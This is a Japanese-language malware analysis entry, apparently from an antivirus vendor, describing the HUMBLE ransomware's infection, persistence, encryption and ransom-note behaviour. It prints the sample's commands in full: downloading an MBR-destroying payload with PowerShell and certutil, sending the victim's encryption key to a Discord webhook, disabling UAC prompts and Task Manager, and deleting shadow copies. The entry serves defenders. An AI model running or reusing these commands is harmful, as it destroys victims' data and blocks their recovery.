Ransom.Win32.HUMBLE.THBAGBB

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

身代金要求文書のファイルを作成します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe -> encryptor
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
• %User Temp%\kill.bat -> kills the task manager process.
• %User Temp%\final.exe -> Destroys MBR
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe -> Trojan.Win32.HUMBLE.A

マルウェアは、以下のプロセスを追加します。

• "%System%\cmd.exe" /c "%User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat {Malware File Path and Name}"
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
• REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d {Hex Values}
• REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
• REG ADD "HKEY_CURRENT_USER\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d "1" /f
• attrib +r +s +h +a +i "%User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe"
• attrib +r +s +h +a +i "%User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe"
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe -m ":writing_hand:Currently encrypting files... Please wait until the password and fake btc acc are sended" https://discord.com/api/webhooks/{BLOCKED}0047/DHTqigSoy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
• powershell start -verb runas cmd.exe /ArgumentList "/c kill.bat" /filepath "%User Temp" /WindowsStyle hidden
• taskkill /f /im opera.exe
• taskkill /f /im chrome.exe
• taskkill /f /im firefox.exe
• taskkill /f /im iexplore.exe
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\aescrypt.exe -e -p {Key} -o "{File Name}.lck" "{Original File Name}" -> Encryption
• powershell.exe -c (new-object System.Net.WebClient).DownloadFile(https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe',%User Temp%\final.exe'
• powershell.exe -c Invoke-WebRequest -Uri https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe -OutFile %User Temp%\final.exe
• certutil -urlcache -split -f https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe %User Temp%\final.exe
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe "/download" "https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe" "%User Temp%\final.exe"
• %System%\cmd.exe /c dir * /a-D /b /oS
• "C:\Users\DYITUS~1\AppData\Local\Temp\4A5F.tmp\DiscordSendWebhook" -m ":satellite: New Crypt from {User Name}, Password: {BLOCKED}KRZcLzoWktvlCk4U03uaqWOIE1 , FakeAccount: {BLOCKED}nBoc9SkLgfQRyfgmeFNv4P, PersonalKey:||{Key}||" -w https://discord.com/api/webhooks/{BLOCKED}452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K;
• schtasks /create /sc onlogon /tn UpdateWuauclt /rl highest /tr "{Malware File Path and Name" /RU "SYSTEM" /f
• schtasks /create /sc DAILY /tn UpdateWuaucltHelper /rl highest /tr "%User Temp%\final.exe" /RU "SYSTEM" /MO 5
• wmic shadowcopy delete
• vssadmin delete shadows /all /quiet

マルウェアは、以下のフォルダを作成します。

• %User Temp%\{Random 4 Characters}.tmp\
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

自動実行方法

マルウェアは、Windows起動時に自動実行されるよう＜Common Startup＞フォルダ内に以下のファイルを作成します。

• %Common Startup%\{Malware File Name}.exe

(註：%Common Startup%フォルダは、すべてのユーザのスタートアップフォルダです。Windows 2000、XP、Server 2003の場合、通常 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" です。また、Windows Vista、7、8の場合、通常 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" です。)

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Keyboard Layout
Scancode Map = {Hex Values}

マルウェアは、以下のレジストリ値を変更します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
PromptOnSecureDesktop = 0

(註：変更前の上記レジストリ値は、「1」となります。)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
ConsentPromptBehaviorAdmin = 0

(註：変更前の上記レジストリ値は、「5」となります。)

HKEY_CURRENT_USER\Control Panel\Mouse
SwapMouseButtons = 1

(註：変更前の上記レジストリ値は、「0」となります。)

プロセスの終了

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

• taskmgr.exe
• opera.exe
• firefox.exe
• iexplore.exe
• chrome.exe

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

• https://cdn-115.{BLOCKED}le.com/9821W1G5p3/542b7e19-1612884386/gameover.exe - Download Final.exe

ただし、情報公開日現在、このWebサイトにはアクセスできません。

その他

マルウェアは、以下を実行します。

• The Ransomware sends a report to the Malware Operator’s Discord WebHook Panel via custom-made, Auto-It compiled Discord WebHook binary.
  • https://discord.com/api/webhooks/{BLOCKED}573722710047/{BLOCKED}Soy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci

以下のスケジュールされたタスクを追加します：

• Name: UpdateWuauclt
  • Trigger: On Logon
• Action: "{Malware File Path and Name}"
• Name: UpdateWuaucltHelper
  • Trigger: Daily
• Action: "%User Temp%\final.exe"

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

ランサムウェアの不正活動

マルウェアは、暗号化されたファイルのファイル名に以下の拡張子を追加します。

• .lck

マルウェアが作成する以下のファイルは、脅迫状です。

• %Desktop%\Pay2Decrypt{Number of Instance}.txt